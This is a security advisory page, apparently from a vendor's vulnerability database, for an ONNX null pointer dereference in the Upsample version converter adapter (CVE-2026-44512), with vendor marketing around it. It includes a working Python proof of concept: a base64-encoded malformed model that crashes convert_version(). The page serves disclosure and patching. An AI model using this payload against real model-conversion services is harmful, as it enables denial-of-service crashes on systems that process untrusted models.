Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-hwpq-hmq9-wj77

MEDIUM

ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Also known asCVE-2026-44512PYSEC-2026-2689
Published
Jul 7, 2026
Updated
Jul 16, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍onnx

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:

  • Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
  • Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIonnx1.9.0&&< 1.22.01.22.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onnx. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update onnx to 1.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hwpq-hmq9-wj77 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hwpq-hmq9-wj77 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hwpq-hmq9-wj77. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Null pointer dereference (SIGSEGV) in `Upsample_6_7::adapt_upsample_6_7()` (`onnx/version_converter/adapters/upsample_6_7.h:31`) when `convert_version()` processes a model with an Upsample node that has zero inputs. The adapter accesses `node->inputs()[0]->sizes()` without checking input count. 107-byte PoC crashes on Release build. This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator. ### Details The Upsample 6→7 adapter validates attributes but not inputs: ```cpp // upsample_6_7.h:20-33
O3 Security · Impact-Aware SCA

Is GHSA-hwpq-hmq9-wj77 in your dependencies?

O3 detects GHSA-hwpq-hmq9-wj77 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.